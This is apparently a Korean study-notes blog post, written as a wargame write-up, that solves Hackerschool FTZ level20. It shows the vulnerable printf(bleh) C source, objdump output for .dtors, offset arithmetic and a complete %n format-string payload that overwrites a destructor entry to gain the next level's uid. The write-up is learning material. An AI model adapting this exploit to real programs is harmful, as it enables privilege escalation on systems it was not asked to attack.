FSB (Format String Bug) 정리

/ 해당 문서는 공부를 하며 정리한 내용으로 틀린 부분이 있을수도 있습니다. /

해커스쿨 level20 문제를 풀어보면서 FSB (Format String Bug)에 대해 알아보자.

#include <stdio.h>
main(int argc,char **argv)
{
    char bleh[80];
    setreuid(3101,3101);
    fgets(bleh,79,stdin);
    printf(bleh);
}

문제 소스는 다음과 같다.
FSB는 printf(bleh) 와 같이 프로그래머의 귀차니즘(?)으로 인해 발생한다.
풀이과정은 다음과 같다.

[level20@ftz level20]$ (python -c "print 'AAAA' + '%x'*4";cat) | ./attackme
AAAA4f401524604009850041414141

[level20@ftz level20]$ objdump -s -j .dtors attackme

attackme: file format elf32-i386

Contents of section .dtors:
8049594 ffffffff 00000000 ........

offset : 3 * 8 = 24
.dtors : 0x08049594
Cleanup : 0x08049598
EGG : 0xbffffa30

fa30 = 64048
64048 - 24 - 16 = 64008
1bfff - fa30 = 50639

AAAA\x98\x95\x04\x08BBBB\x9A\x95\x04\x08%8x%8x%8x%64008c%x%50639c%x

(python -c "print 'AAAA\x98\x95\x04\x08BBBB\x9A\x95\x04\x08%8x%8x%8x%64008c%x%50639c%x'";cat) | ./attackme

실행하여 804959a 주소가 나오나 확인!
나온다면 %x -> %n 으로 바꾸어 공격!

(python -c "print 'AAAA\x98\x95\x04\x08BBBB\x9A\x95\x04\x08%8x%8x%8x%64008c%n%50639c%n'";cat) | ./attackme

uid=3101(clear) gid=3100(level20) groups=3100(level20)

답글 남기기

이메일 주소는 공개되지 않습니다.